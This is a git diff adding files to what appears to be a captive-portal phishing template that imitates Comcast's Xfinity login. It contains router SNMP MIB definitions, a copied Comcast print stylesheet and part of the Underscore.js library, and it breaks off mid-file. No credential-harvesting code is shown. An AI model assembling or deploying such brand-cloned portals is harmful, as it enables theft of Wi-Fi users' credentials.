= new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); + MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +//var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; + +var mib2interfaceNetworkStorageTable= new Table("mib2interfaceNetworkStorageTable", "1.3.6.1.4.1.4.2.1.5.4.464"); +mib2interfaceNetworkStorageTable.NSName= new Column("NSName", "1.3.6.1.4.1.4.2.1.5.4.464.1.1"); +mib2interfaceNetworkStorageTable.NSFileSystem = new Column("NSFileSystem", "1.3.6.1.4.1.4.2.1.5.4.464.1.2"); +mib2interfaceNetworkStorageTable.NSSpaceAvailable = new Column("NSSpaceAvailable", "1.3.6.1.4.1.4.2.1.5.4.464.1.3"); +mib2interfaceNetworkStorageTable.NSTotalSpace= new Column("NSTotalSpace","1.3.6.1.4.1.4.2.1.5.4.464.1.4"); +mib2interfaceNetworkStorageTable.NSLocation= new Column("NSLocation","1.3.6.1.4.1.4.2.1.5.4.464.1.5"); +var arNSName= mib2interfaceNetworkStorageTable.NSName; +var arNSFileSystem = mib2interfaceNetworkStorageTable.NSFileSystem; +var arNSSpaceAvailable = mib2interfaceNetworkStorageTable.NSSpaceAvailable; +var arNSTotalSpace = mib2interfaceNetworkStorageTable.NSTotalSpace; +var arNSLocation = mib2interfaceNetworkStorageTable.NSLocation; + + +// Range Extenders +var mib2interfaceRangeExtender=new Table("mib2interfaceRangeExtender", "1.3.6.1.4.1.4.2.1.5.4.465"); +mib2interfaceRangeExtender.RangeExtenderName =new Column("RangeExtenderName", "1.3.6.1.4.1.4.2.1.5.4.465.1.1"); +mib2interfaceRangeExtender.RESSID =new Column("RESSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.2"); +mib2interfaceRangeExtender.REBSSID =new Column("REBSSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.3"); +mib2interfaceRangeExtender.REFrequencyBand =new Column("REFrequencyBand", "1.3.6.1.4.1.4.2.1.5.4.465.1.4"); +mib2interfaceRangeExtender.REChannel =new Column("REChannel", "1.3.6.1.4.1.4.2.1.5.4.465.1.5"); +mib2interfaceRangeExtender.RESecurityMode =new Column("RESecurityMode", "1.3.6.1.4.1.4.2.1.5.4.465.1.6"); +var arRangeExtenderName=mib2interfaceRangeExtender.RangeExtenderName ; +var arRESSID =mib2interfaceRangeExtender.RESSID ; +var arREBSSID =mib2interfaceRangeExtender.REBSSID ; +var arREFrequencyBand =mib2interfaceRangeExtender.REFrequencyBand ; +var arREChannel =mib2interfaceRangeExtender.REChannel ; +var arRESecurityMode =mib2interfaceRangeExtender.RESecurityMode ; + + +// Advanced >> remote_management +var mib2interfaceRemoteManagement = new Container("mib2interfaceRemoteManagement", "1.3.6.1.4.1.4.2.1.5.4.466"); +mib2interfaceRemoteManagement.RMEnableHttp= new Scalar("RMEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.466.1", 2); +mib2interfaceRemoteManagement.RMEnableHttps= new Scalar("RMEnableHttps", "1.3.6.1.4.1.4.2.1.5.4.466.2", 2); +mib2interfaceRemoteManagement.RMAddrv4= new Scalar("RMAddrv4", "1.3.6.1.4.1.4.2.1.5.4.466.3", 2); +mib2interfaceRemoteManagement.RMAddrv6= new Scalar("RMAddrv6", "1.3.6.1.4.1.4.2.1.5.4.466.4", 2); +mib2interfaceRemoteManagement.RMAllowedIndex= new Scalar("RMAllowedIndex", "1.3.6.1.4.1.4.2.1.5.4.466.5", 2); +mib2interfaceRemoteManagement.RMAddrv4From= new Scalar("RMAddrv4From", "1.3.6.1.4.1.4.2.1.5.4.466.6", 2); +mib2interfaceRemoteManagement.RMAddrv4End= new Scalar("RMAddrv4End", "1.3.6.1.4.1.4.2.1.5.4.466.7", 2); +mib2interfaceRemoteManagement.RMAddrv6From= new Scalar("RMAddrv6From", "1.3.6.1.4.1.4.2.1.5.4.466.8", 2); +mib2interfaceRemoteManagement.RMAddrv6End= new Scalar("RMAddrv6End", "1.3.6.1.4.1.4.2.1.5.4.466.9", 2); +mib2interfaceRemoteManagement.RMTelnetEnble= new Scalar("RMTelnetEnble", "1.3.6.1.4.1.4.2.1.5.4.466.10", 2); +mib2interfaceRemoteManagement.RMSSHEnable= new Scalar("RMSSHEnable", "1.3.6.1.4.1.4.2.1.5.4.466.11", 2); +var arRMEnableHttp= mib2interfaceRemoteManagement.RMEnableHttp; +var arRMEnableHttps=mib2interfaceRemoteManagement.RMEnableHttps; +var arRMAddrv4= mib2interfaceRemoteManagement.RMAddrv4; +var arRMAddrv6= mib2interfaceRemoteManagement.RMAddrv6; +var arRMAllowedIndex= mib2interfaceRemoteManagement.RMAllowedIndex; +var arRMAddrv4From= mib2interfaceRemoteManagement.RMAddrv4From; +var arRMAddrv4End= mib2interfaceRemoteManagement.RMAddrv4End; +var arRMAddrv6From= mib2interfaceRemoteManagement.RMAddrv6From; +var arRMAddrv6End= mib2interfaceRemoteManagement.RMAddrv6End; +var arRMTelnetEnble=mib2interfaceRemoteManagement.RMTelnetEnble; +var arRMSSHEnable= mib2interfaceRemoteManagement.RMSSHEnable; + +// Advanced >> Radius Servers +var RadiusServerTable =new Table ("RadiusServerTable","1.3.6.1.4.1.4.2.1.5.4.469"); +RadiusServerTable.RSEnable =new Column("RSEnable", "1.3.6.1.4.1.4.2.1.5.4.469.1.1"); +RadiusServerTable.RSIp =new Column("RSIp", "1.3.6.1.4.1.4.2.1.5.4.469.1.2"); +RadiusServerTable.RSAuthPort =new Column("RSAuthPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.3"); +RadiusServerTable.RSAcctPort =new Column("RSAcctPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.4"); +RadiusServerTable.RSLocalIF =new Column("RSLocalIF", "1.3.6.1.4.1.4.2.1.5.4.469.1.5"); +RadiusServerTable.RSTimout =new Column("RSTimout", "1.3.6.1.4.1.4.2.1.5.4.469.1.6"); +RadiusServerTable.RSReAuthTmt =new Column("RSReAuthTmt", "1.3.6.1.4.1.4.2.1.5.4.469.1.7"); +RadiusServerTable.RSSharedSecret=new Column("RSSharedSecret", "1.3.6.1.4.1.4.2.1.5.4.469.1.8"); +var arRSEnable = RadiusServerTable.RSEnable ; +var arRSIp = RadiusServerTable.RSIp ; +var arRSAuthPort = RadiusServerTable.RSAuthPort ; +var arRSAcctPort = RadiusServerTable.RSAcctPort ; +var arRSLocalIF = RadiusServerTable.RSLocalIF ; +var arRSTimout = RadiusServerTable.RSTimout ; +var arRSReAuthTmt = RadiusServerTable.RSReAuthTmt ; +var arRSSharedSecret= RadiusServerTable.RSSharedSecret; + +// samba_server_config.php +var FileShareTable =new Table ("FileShareTable","1.3.6.1.4.1.4.2.1.5.4.472"); +FileShareTable.FSDirectory =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.472.1.1"); +FileShareTable.FSName =new Column("FSName", "1.3.6.1.4.1.4.2.1.5.4.472.1.2"); +FileShareTable.FSVisible =new Column("FSVisible", "1.3.6.1.4.1.4.2.1.5.4.472.1.3"); +FileShareTable.FSPermissions =new Column("FSPermissions", "1.3.6.1.4.1.4.2.1.5.4.472.1.4"); +FileShareTable.FSEnableHttp =new Column("FSEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.472.1.5"); +FileShareTable.FSEnableFTP =new Column("FSEnableFTP", "1.3.6.1.4.1.4.2.1.5.4.472.1.6"); +FileShareTable.FSDesc =new Column("FSDesc", "1.3.6.1.4.1.4.2.1.5.4.472.1.7"); +FileShareTable.FSUSB12 =new Column("FSUSB12", "1.3.6.1.4.1.4.2.1.5.4.472.1.8"); +var arFSDirectory =FileShareTable.FSDirectory; +var arFSName =FileShareTable.FSName; +var arFSVisible =FileShareTable.FSVisible; +var arFSPermissions =FileShareTable.FSPermissions; +var arFSEnableHttp =FileShareTable.FSEnableHttp; +var arFSEnableFTP =FileShareTable.FSEnableFTP; +var arFSUSB12 =FileShareTable.FSUSB12; + +// samba_server_config.php +var FileShareManage = new Container("FileShareManage", "1.3.6.1.4.1.4.2.1.5.4.471"); +FileShareManage.FSMShare= new Scalar("FSMShare", "1.3.6.1.4.1.4.2.1.5.4.471.1",2); +FileShareManage.FSMName= new Scalar("FSMName", "1.3.6.1.4.1.4.2.1.5.4.471.2",2); +FileShareManage.FSMReserve= new Scalar("FSMReserve","1.3.6.1.4.1.4.2.1.5.4.471.3",2); +var arFSMShare= FileShareManage.FSMShare; +var arFSMName= FileShareManage.FSMName; +var arFSMReserve= FileShareManage.FSMReserve; + + +//qos1.php +var QOSSettings = new Container("QOSSettings", "1.3.6.1.4.1.4.2.1.5.4.473"); +QOSSettings.QOS4Wmmd= new Scalar("QOS4Wmmd", "1.3.6.1.4.1.4.2.1.5.4.473.1",2); +QOSSettings.QOS4Moca= new Scalar("QOS4Moca", "1.3.6.1.4.1.4.2.1.5.4.473.2",2); +QOSSettings.QOS4Lan= new Scalar("QOS4Lan", "1.3.6.1.4.1.4.2.1.5.4.473.3",2); +QOSSettings.QOS4Upnp= new Scalar("QOS4Upnp", "1.3.6.1.4.1.4.2.1.5.4.473.4",2); +var arQOS4Wmmd= QOSSettings.QOS4Wmmd; +var arQOS4Moca= QOSSettings.QOS4Moca; +var arQOS4Lan= QOSSettings.QOS4Lan; +var arQOS4Upnp= QOSSettings.QOS4Upnp; + +//dlna_settings.php +var DLNASettings = new Container("DLNASettings", "1.3.6.1.4.1.4.2.1.5.4.474"); +DLNASettings.DLNAEnabled= new Scalar("DLNAEnabled","1.3.6.1.4.1.4.2.1.5.4.474.1", 2); +DLNASettings.DLNAMediaType= new Scalar("DLNAMediaType","1.3.6.1.4.1.4.2.1.5.4.474.2", 2); +DLNASettings.DLNAMediaSrc= new Scalar("DLNAMediaSrc","1.3.6.1.4.1.4.2.1.5.4.474.3", 2); +DLNASettings.DLNAMediaPath= new Scalar("DLNAMediaPath","1.3.6.1.4.1.4.2.1.5.4.474.4", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.5", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.6", 2); +var arDLNAEnabled= DLNASettings.DLNAEnabled; +var arDLNAMediaType= DLNASettings.DLNAMediaType; +var arDLNAMediaSrc= DLNASettings.DLNAMediaSrc; +var arDLNAMediaPath= DLNASettings.DLNAMediaPath; + +// digital_media_players.php +var DLMediaPlayer =new Table ("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475"); +DLMediaPlayer.DLMPName =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.475.1.1"); +DLMediaPlayer.DLMPAllw =new Column("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475.1.2"); +var arDLMPName = DLMediaPlayer.DLMPName; +var arDLMPAllw = DLMediaPlayer.DLMPAllw; + +// digital_media_index.php +var DLMIndexTable =new Table ("DLMIndexTable","1.3.6.1.4.1.4.2.1.5.4.476"); +DLMIndexTable.DLMName =new Column("DLMName", "1.3.6.1.4.1.4.2.1.5.4.476.1.1"); +DLMIndexTable.DLMGenre =new Column("DLMGenre", "1.3.6.1.4.1.4.2.1.5.4.476.1.2"); +DLMIndexTable.DLMArtist =new Column("DLMArtist", "1.3.6.1.4.1.4.2.1.5.4.476.1.3"); +DLMIndexTable.DLMDurat =new Column("DLMDurat", "1.3.6.1.4.1.4.2.1.5.4.476.1.4"); +DLMIndexTable.DLMFold =new Column("DLMFold", "1.3.6.1.4.1.4.2.1.5.4.476.1.5"); +DLMIndexTable.DLMRate =new Column("DLMRate", "1.3.6.1.4.1.4.2.1.5.4.476.1.6"); +DLMIndexTable.DLMAlbum =new Column("DLMAlbum", "1.3.6.1.4.1.4.2.1.5.4.476.1.7"); +DLMIndexTable.DLMCmmnt =new Column("DLMCmmnt", "1.3.6.1.4.1.4.2.1.5.4.476.1.9"); +DLMIndexTable.DLMType =new Column("DLMType", "1.3.6.1.4.1.4.2.1.5.4.476.1.8"); +var arDLMName = DLMIndexTable.DLMName ; // string +var arDLMGenre = DLMIndexTable.DLMGenre ; // 1-8,Fiction, Action, Drama, Comedy, + // Classical, Rock, Fusion, Metal. +var arDLMArtist = DLMIndexTable.DLMArtist ; // string +var arDLMDurat = DLMIndexTable.DLMDurat ; // number +var arDLMFold = DLMIndexTable.DLMFold ; // string +var arDLMRate = DLMIndexTable.DLMRate ; // 1-3: G, PG, R +var arDLMAlbum = DLMIndexTable.DLMAlbum ; // string (music) +var arDLMCmmnt = DLMIndexTable.DLMCmmnt ; // string (picture) +var arDLMType = DLMIndexTable.DLMType ; // png(1), jpeg(2); + // Video (8) + // TV Shows (16) + // Pictures (24) diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css new file mode 100755 index 0000000..3c0c422 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css @@ -0,0 +1,50 @@ +/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */ + +/*---------------------------------------- +Name: global.css +Developed by: Seth Lemoine, Schematic +Date Created: Dec 7, 2009 +Copyright: Comcast +----------------------------------------*/ + +/* Elements +----------------------------------------*/ +body { + font-family: Arial, Helvetica, sans-serif; + +} + +* { + color: #000; + float: none; + font-size: 11pt; + text-decoration:none; + width: auto; +} + +#header, +#footer, +#userToolbar, +#status, +#nav, +a, +button, +input, +.noprint { + display: none; +} + +h1 { + font-size: 24pt; +} + +table { + border-collapse: collapse; +} + +th, +td { + border: 1px solid #ccc; + padding: 4pt; + text-align: left; +} diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js new file mode 100755 index 0000000..6bf375e --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js @@ -0,0 +1,716 @@ +// (c) 2010 Jeremy Ashkenas, DocumentCloud Inc. +// Underscore is freely distributable under the MIT license. +// Portions of Underscore are inspired or borrowed from Prototype, +// Oliver Steele's Functional, and John Resig's Micro-Templating. +// For all details and documentation: +// http://documentcloud.github.com/underscore + +(function() { + + // Baseline setup + // -------------- + + // Establish the root object, `window` in the browser, or `global` on the server. + var root = this; + + // Save the previous value of the `_` variable. + var previousUnderscore = root._; + + // Establish the object that gets thrown to break out of a loop iteration. + var breaker = typeof StopIteration !== 'undefined' ? StopIteration : '__break__'; + + // Save bytes in the minified (but not gzipped) version: + var ArrayProto = Array.prototype, ObjProto = Object.prototype; + + // Create quick reference variables for speed access to core prototypes. + var slice = ArrayProto.slice, + unshift = ArrayProto.unshift, + toString = ObjProto.toString, + hasOwnProperty = ObjProto.hasOwnProperty, + propertyIsEnumerable = ObjProto.propertyIsEnumerable; + + // All **ECMAScript 5** native function implementations that we hope to use + // are declared here. + var + nativeForEach = ArrayProto.forEach, + nativeMap = ArrayProto.map, + nativeReduce = ArrayProto.reduce, + nativeReduceRight = ArrayProto.reduceRight, + nativeFilter = ArrayProto.filter, + nativeEvery = ArrayProto.every, + nativeSome = ArrayProto.some, + nativeIndexOf = ArrayProto.indexOf, + nativeLastIndexOf = ArrayProto.lastIndexOf, + nativeIsArray = Array.isArray, + nativeKeys = Object.keys; + + // Create a safe reference to the Underscore object for use below. + var _ = function(obj) { return new wrapper(obj); }; + + // Export the Underscore object for **CommonJS**. + if (typeof exports !== 'undefined') exports._ = _; + + // Export Underscore to the global scope. + root._ = _; + + // Current version. + _.VERSION = '1.1.2'; + + // Collection Functions + // -------------------- + + // The cornerstone, an `each` implementation, aka `forEach`. + // Handles objects implementing `forEach`, arrays, and raw objects. + // Delegates to **ECMAScript 5**'s native `forEach` if available. + var each = _.each = _.forEach = function(obj, iterator, context) { + try { + if (nativeForEach && obj.forEach === nativeForEach) { + obj.forEach(iterator, context); + } else if (_.isNumber(obj.length)) { + for (var i = 0, l = obj.length; i < l; i++) iterator.call(context, obj[i], i, obj); + } else { + for (var key in obj) { + if (hasOwnProperty.call(obj, key)) iterator.call(context, obj[key], key, obj); + } + } + } catch(e) { + if (e != breaker) throw e; + } + return obj; + }; + + // Return the results of applying the iterator to each element. + // Delegates to **ECMAScript 5**'s native `map` if available. + _.map = function(obj, iterator, context) { + if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); + var results = []; + each(obj, function(value, index, list) { + results[results.length] = iterator.call(context, value, index, list); + }); + return results; + }; + + // **Reduce** builds up a single result from a list of values, aka `inject`, + // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available. + _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) { + if (nativeReduce && obj.reduce === nativeReduce) { + if (context) iterator = _.bind(iterator, context); + return obj.reduce(iterator, memo); + } + each(obj, function(value, index, list) { + memo = iterator.call(context, memo, value, index, list); + }); + return memo; + }; + + // The right-associative version of reduce, also known as `foldr`. + // Delegates to **ECMAScript 5**'s native `reduceRight` if available. + _.reduceRight = _.foldr = function(obj, iterator, memo, context) { + if (nativeReduceRight && obj.reduceRight === nativeReduceRight) { + if (context) iterator = _.bind(iterator, context); + return obj.reduceRight(iterator, memo); + } + var reversed = (_.isArray(obj) ? obj.slice() : _.toArray(obj)).reverse(); + return _.reduce(reversed, iterator, memo, context); + }; + + // Return the first value which passes a truth test. Aliased as `detect`. + _.find = _.detect = function(obj, iterator, context) { + var result; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) { + result = value; + _.breakLoop(); + } + }); + return result; + }; + + // Return all the elements that pass a truth test. + // Delegates to **ECMAScript 5**'s native `filter` if available. + // Aliased as `select`. + _.filter = _.select = function(obj, iterator, context) { + if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context); + var results = []; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Return all the elements for which a truth test fails. + _.reject = function(obj, iterator, context) { + var results = []; + each(obj, function(value, index, list) { + if (!iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Determine whether all of the elements match a truth test. + // Delegates to **ECMAScript 5**'s native `every` if available. + // Aliased as `all`. + _.every = _.all = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context); + var result = true; + each(obj, function(value, index, list) { + if (!(result = result && iterator.call(context, value, index, list))) _.breakLoop(); + }); + return result; + }; + + // Determine if at least one element in the object matches a truth test. + // Delegates to **ECMAScript 5**'s native `some` if available. + // Aliased as `any`. + _.some = _.any = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context); + var result = false; + each(obj, function(value, index, list) { + if (result = iterator.call(context, value, index, list)) _.breakLoop(); + }); + return result; + }; + + // Determine if a given value is included in the array or object using `===`. + // Aliased as `contains`. + _.include = _.contains = function(obj, target) { + if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1; + var found = false; + each(obj, function(value) { + if (found = value === target) _.breakLoop(); + }); + return found; + }; + + // Invoke a method (with arguments) on every item in a collection. + _.invoke = function(obj, method) { + var args = slice.call(arguments, 2); + return _.map(obj, function(value) { + return (method ? value[method] : value).apply(value, args); + }); + }; + + // Convenience version of a common use case of `map`: fetching a property. + _.pluck = function(obj, key) { + return _.map(obj, function(value){ return value[key]; }); + }; + + // Return the maximum element or (element-based computation). + _.max = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj); + var result = {computed : -Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed >= result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Return the minimum element (or element-based computation). + _.min = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj); + var result = {computed : Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed < result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Sort the object's values by a criterion produced by an iterator. + _.sortBy = function(obj, iterator, context) { + return _.pluck(_.map(obj, function(value, index, list) { + return { + value : value, + criteria : iterator.call(context, value, index, list) + }; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }), 'value'); + }; + + // Use a comparator function to figure out at what index an object should + // be inserted so as to maintain order. Uses binary search. + _.sortedIndex = function(array, obj, iterator) { + iterator = iterator || _.identity; + var low = 0, high = array.length; + while (low < high) { + var mid = (low + high) >> 1; + iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; + } + return low; + }; + + // Safely convert anything iterable into a real, live array. + _.toArray = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) return iterable.toArray(); + if (_.isArray(iterable)) return iterable; + if (_.isArguments(iterable)) return slice.call(iterable); + return _.values(iterable); + }; + + // Return the number of elements in an object. + _.size = function(obj) { + return _.toArray(obj).length; + }; + + // Array Functions + // --------------- + + // Get the first element of an array. Passing **n** will return the first N + // values in the array. Aliased as `head`. The **guard** check allows it to work + // with `_.map`. + _.first = _.head = function(array, n, guard) { + return n && !guard ? slice.call(array, 0, n) : array[0]; + }; + + // Returns everything but the first entry of the array. Aliased as `tail`. + // Especially useful on the arguments object. Passing an **index** will return + // the rest of the values in the array from that index onward. The **guard** + // check allows it to work with `_.map`. + _.rest = _.tail = function(array, index, guard) { + return slice.call(array, _.isUndefined(index) || guard ? 1 : index); + }; + + // Get the last element of an array. + _.last = function(array) { + return array[array.length - 1]; + }; + + // Trim out all falsy values from an array. + _.compact = function(array) { + return _.filter(array, function(value){ return !!value; }); + }; + + // Return a completely flattened version of an array. + _.flatten = function(array) { + return _.reduce(array, function(memo, value) { + if (_.isArray(value)) return memo.concat(_.flatten(value)); + memo[memo.length] = value; + return memo; + }, []); + }; + + // Return a version of the array that does not contain the specified value(s). + _.without = function(array) { + var values = slice.call(arguments, 1); + return _.filter(array, function(value){ return !_.include(values, value); }); + }; + + // Produce a duplicate-free version of the array. If the array has already + // been sorted, you have the option of using a faster algorithm. + // Aliased as `unique`. + _.uniq = _.unique = function(array, isSorted) { + return _.reduce(array, function(memo, el, i) { + if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) memo[memo.length] = el; + return memo; + }, []); + }; + + // Produce an array that contains every item shared between all the + // passed-in arrays. + _.intersect = function(array) { + var rest = slice.call(arguments, 1); + return _.filter(_.uniq(array), function(item) { + return _.every(rest, function(other) { + return _.indexOf(other, item) >= 0; + }); + }); + }; + + // Zip together multiple lists into a single array -- elements that share + // an index go together. + _.zip = function() { + var args = slice.call(arguments); + var length = _.max(_.pluck(args, 'length')); + var results = new Array(length); + for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i); + return results; + }; + + // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**), + // we need this function. Return the position of the first occurence of an + // item in an array, or -1 if the item is not included in the array. + // Delegates to **ECMAScript 5**'s native `indexOf` if available. + _.indexOf = function(array, item) { + if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item); + for (var i = 0, l = array.length; i < l; i++) if (array[i] === item) return i; + return -1; + }; + + + // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available. + _.lastIndexOf = function(array, item) { + if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item); + var i = array.length; + while (i--) if (array[i] === item) return i; + return -1; + }; + + // Generate an integer Array containing an arithmetic progression. A port of + // the native Python `range()` function. See + // [the Python documentation](http://docs.python.org/library/functions.html#range). + _.range = function(start, stop, step) { + var args = slice.call(arguments), + solo = args.length <= 1, + start = solo ? 0 : args[0], + stop = solo ? args[0] : args[1], + step = args[2] || 1, + len = Math.max(Math.ceil((stop - start) / step), 0), + idx = 0, + range = new Array(len); + while (idx < len) { + range[idx++] = start; + start += step; + } + return range; + }; + + // Function (ahem) Functions + // ------------------ + + // Create a function bound to a given object (assigning `this`, and arguments, + // optionally). Binding with arguments is also known as `curry`. + _.bind = function(func, obj) { + var args = slice.call(arguments, 2); + return function() { + return func.apply(obj || {}, args.concat(slice.call(arguments))); + }; + }; + + // Bind all of an object's methods to that object. Useful for ensuring that + // all callbacks defined on an object belong to it. + _.bindAll = function(obj) { + var funcs = slice.call(arguments, 1); + if (funcs.length == 0) funcs = _.functions(obj); + each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); }); + return obj; + }; + + // Memoize an expensive function by storing its results. + _.memoize = function(func, hasher) { + var memo = {}; + hasher = hasher || _.identity; + return function() { + var key = hasher.apply(this, arguments); + return key in memo ? memo[key] : (memo[key] = func.apply(this, arguments)); + }; + }; + + // Delays a function for the given number of milliseconds, and then calls + // it with the arguments supplied. + _.delay = function(func, wait) { + var args = slice.call(arguments, 2); + return setTimeout(function(){ return func.apply(func, args); }, wait); + }; + + // Defers a function, scheduling it to run after the current call stack has + // cleared. + _.defer = function(func) { + return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1))); + }; + + // Returns the first function passed as an argument to the second, + // allowing you to adjust arguments, run code before and after, and + // conditionally execute the original function. + _.wrap = function(func, wrapper) { + return function() { + var args = [func].concat(slice.call(arguments)); + return wrapper.apply(wrapper, args); + }; + }; + + // Returns a function that is the composition of a list of functions, each + // consuming the return value of the function that follows. + _.compose = function() { + var funcs = slice.call(arguments); + return function() { + var args = slice.call(arguments); + for (var i=funcs.length-1; i >= 0; i--) { + args = [funcs[i].apply(this, args)]; + } + return args[0]; + }; + }; + + // Object Functions + // ---------------- + + // Retrieve the names of an object's properties. + // Delegates to **ECMAScript 5**'s native `Object.keys` + _.keys = nativeKeys || function(obj) { + if (_.isArray(obj)) return _.range(0, obj.length); + var keys = []; + for (var key in obj) if (hasOwnProperty.call(obj, key)) keys[keys.length] = key; + return keys; + }; + + // Retrieve the values of an object's properties. + _.values = function(obj) { + return _.map(obj, _.identity); + }; + + // Return a sorted list of the function names available on the object. + // Aliased as `methods` + _.functions = _.methods = function(obj) { + return _.filter(_.keys(obj), function(key){ return _.isFunction(obj[key]); }).sort(); + }; + + // Extend a given object with all the properties in passed-in object(s). + _.extend = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) obj[prop] = source[prop]; + }); + return obj; + }; + + // Create a (shallow-cloned) duplicate of an object. + _.clone = function(obj) { + return _.isArray(obj) ? obj.slice() : _.extend({}, obj); + }; + + // Invokes interceptor with the obj, and then returns obj. + // The primary purpose of this method is to "tap into" a method chain, in + // order to perform operations on intermediate results within the chain. + _.tap = function(obj, interceptor) { + interceptor(obj); + return obj; + }; + + // Perform a deep comparison to check if two objects are equal. + _.isEqual = function(a, b) { + // Check object identity. + if (a === b) return true; + // Different types? + var atype = typeof(a), btype = typeof(b); + if (atype != btype) return false; + // Basic equality test (watch out for coercions). + if (a == b) return true; + // One is falsy and the other truthy. + if ((!a && b) || (a && !b)) return false; + // One of them implements an isEqual()? + if (a.isEqual) return a.isEqual(b); + // Check dates' integer values. + if (_.isDate(a) && _.isDate(b)) return a.getTime() === b.getTime(); + // Both are NaN? + if (_.isNaN(a) && _.isNaN(b)) return false; + // Compare regular expressions. + if (_.isRegExp(a) && _.isRegExp(b)) + return a.source === b.source && + a.global === b.global && + a.ignoreCase === b.ignoreCase && + a.multiline === b.multiline; + // If a is not an object by this point, we can't handle it. + if (atype !== 'object') return false; + // Check for different array lengths before comparing contents. + if (a.length && (a.length !== b.length)) return false; + // Nothing else worked, deep compare the contents. + var aKeys = _.keys(a), bKeys = _.keys(b); + // Different object sizes? + if (aKeys.length != bKeys.length) return false; + // Recursive comparison of contents. + for (var key in a) if (!(key in b) || !_.isEqual(a[key], b[key])) return false; + return true; + }; + + // Is a given array or object empty? + _.isEmpty = function(obj) { + if (_.isArray(obj) || _.isString(obj)) return obj.length === 0; + for (var key in obj) if (hasOwnProperty.call(obj, key)) return false; + return true; + }; + + // Is a given value a DOM element? + _.isElement = function(obj) { + return !!(obj && obj.nodeType == 1); + }; + + // Is a given value an array? + // Delegates to ECMA5's native Array.isArray + _.isArray = nativeIsArray || function(obj) { + return !!(obj && obj.concat && obj.unshift && !obj.callee); + }; + + // Is a given variable an arguments object? + _.isArguments = function(obj) { + return !!(obj && obj.callee); + }; + + // Is a given value a function? + _.isFunction = function(obj) { + return !!(obj && obj.constructor && obj.call && obj.apply); + }; + + // Is a given value a string? + _.isString = function(obj) { + return !!(obj === '' || (obj && obj.charCodeAt && obj.substr)); + }; + + // Is a given value a number? + _.isNumber = function(obj) { + return (obj === +obj) || (toString.call(obj) === '[object Number]'); + }; + + // Is a given value a boolean? + _.isBoolean = function(obj) { + return obj === true || obj === false; + }; + + // Is a given value a date? + _.isDate = function(obj) { + return !!(obj && obj.getTimezoneOffset && obj.setUTCFullYear); + }; + + // Is the given value a regular expression? + _.isRegExp = function(obj) { + return !!(obj && obj.test && obj.exec && (obj.ignoreCase || obj.ignoreCase === false)); + }; + + // Is the given value NaN -- this one is interesting. NaN != NaN, and + // isNaN(undefined) == true, so we make sure it's a number first. + _.isNaN = function(obj) { + return _.isNumber(obj) && isNaN(obj); + }; + + // Is a given value equal to null? + _.isNull = function(obj) { + return obj === null; + }; + + // Is a given variable undefined? + _.isUndefined = function(obj) { + return typeof obj == 'undefined'; + }; + + // Utility Functions + // ----------------- + + // Run Underscore.js in *noConflict* mode, returning the `_` variable to its + // previous owner. Returns a reference to the Underscore object. + _.noConflict = function() { + root._ = previousUnderscore; + return this; + }; + + // Keep the identity function around for default iterators. + 